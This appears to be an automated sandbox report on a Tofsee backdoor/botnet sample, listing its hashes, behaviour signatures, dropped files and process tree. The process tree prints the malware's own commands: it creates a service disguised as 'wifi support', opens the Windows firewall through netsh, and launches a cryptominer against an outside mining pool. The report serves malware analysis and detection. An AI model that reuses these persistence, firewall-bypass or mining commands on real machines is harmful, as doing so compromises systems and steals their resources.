Overview

overview

10

Static

static

9b1e96863b...b8.exe

windows7_x64

10

9b1e96863b...b8.exe

windows10_x64

10

Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    15-11-2020 22:56

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General

  • Target

    9b1e96863b1fefbb1852c9bce569a93e1e470b56a9319894a902ad1a72479ab8.exe

  • Size

    13.1MB

  • MD5

    8ce56c9886f37230ccbd76178b28248c

  • SHA1

    09715923175bc58c5203ea1d2bba3db38465883a

  • SHA256

    9b1e96863b1fefbb1852c9bce569a93e1e470b56a9319894a902ad1a72479ab8

  • SHA512

    be40c7ddce9e122829b07f64058002c6e6ce224a513acf391f3d0048b7fe1f20a2664927fab556bd7ae55d0ea1f897413bfa4768e4042192978954fed40b2c69

Score
10/10
tofseeevasionpersistencetrojan

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 1 IoCs
    persistence
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\9b1e96863b1fefbb1852c9bce569a93e1e470b56a9319894a902ad1a72479ab8.exe
    "C:\Users\Admin\AppData\Local\Temp\9b1e96863b1fefbb1852c9bce569a93e1e470b56a9319894a902ad1a72479ab8.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1028
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\snsrsvvj\
      2⤵
        PID:2524
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ejwwzyot.exe" C:\Windows\SysWOW64\snsrsvvj\
        2⤵
          PID:2600
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create snsrsvvj binPath= "C:\Windows\SysWOW64\snsrsvvj\ejwwzyot.exe /d\"C:\Users\Admin\AppData\Local\Temp\9b1e96863b1fefbb1852c9bce569a93e1e470b56a9319894a902ad1a72479ab8.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1216
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description snsrsvvj "wifi internet conection"
            2⤵
              PID:3820
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start snsrsvvj
              2⤵
                PID:3180
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:804
              • C:\Windows\SysWOW64\snsrsvvj\ejwwzyot.exe
                C:\Windows\SysWOW64\snsrsvvj\ejwwzyot.exe /d"C:\Users\Admin\AppData\Local\Temp\9b1e96863b1fefbb1852c9bce569a93e1e470b56a9319894a902ad1a72479ab8.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:3704
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Modifies service
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:2224
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3352

              Network

              MITRE ATT&CK Enterprise v6

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              Downloads

              • C:\Users\Admin\AppData\Local\Temp\ejwwzyot.exe
                MD5

                6dc045cdc246ef67bc34f7a89260a983

                SHA1

                ac7e9482807e62f4f091c30769f669ab770ab2fb

                SHA256

                f6be499ebe5703fd82d1a4624d925aca5345b1e2cc4b62e80144c83926353f13

                SHA512

                7c9c55ca8501ae0b35f22853f771388ba3de5c1bfaf0d837002114cd5abb22929572bb9c358be18f02ffefe4277bfb41dfe019ff35750fd1a3860cbd2a89ba1c

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              • C:\Windows\SysWOW64\snsrsvvj\ejwwzyot.exe
                MD5

                6dc045cdc246ef67bc34f7a89260a983

                SHA1

                ac7e9482807e62f4f091c30769f669ab770ab2fb

                SHA256

                f6be499ebe5703fd82d1a4624d925aca5345b1e2cc4b62e80144c83926353f13

                SHA512

                7c9c55ca8501ae0b35f22853f771388ba3de5c1bfaf0d837002114cd5abb22929572bb9c358be18f02ffefe4277bfb41dfe019ff35750fd1a3860cbd2a89ba1c

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              • memory/804-10-0x0000000000000000-mapping.dmp

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              • memory/1216-3-0x0000000000000000-mapping.dmp

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              • memory/2224-13-0x0000000000C00000-0x0000000000C10000-memory.dmp

                Filesize

                64KB

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              • memory/2224-12-0x00000000004E0000-0x00000000004E6000-memory.dmp

                Filesize

                24KB

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              • memory/2224-16-0x0000000002FD0000-0x0000000002FD7000-memory.dmp

                Filesize

                28KB

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              • memory/2224-7-0x0000000000460000-0x0000000000475000-memory.dmp

                Filesize

                84KB

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              • memory/2224-8-0x0000000000469A6B-mapping.dmp

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              • memory/2224-15-0x0000000008D90000-0x000000000919B000-memory.dmp

                Filesize

                4.0MB

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              • memory/2224-11-0x0000000004350000-0x000000000455F000-memory.dmp

                Filesize

                2.1MB

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              • memory/2224-14-0x0000000000C10000-0x0000000000C15000-memory.dmp

                Filesize

                20KB

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              • memory/2524-0-0x0000000000000000-mapping.dmp

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              • memory/2600-1-0x0000000000000000-mapping.dmp

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              • memory/3180-5-0x0000000000000000-mapping.dmp

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              • memory/3352-17-0x0000000002C30000-0x0000000002D21000-memory.dmp

                Filesize

                964KB

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              • memory/3352-19-0x0000000002CC259C-mapping.dmp

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              • memory/3820-4-0x0000000000000000-mapping.dmp

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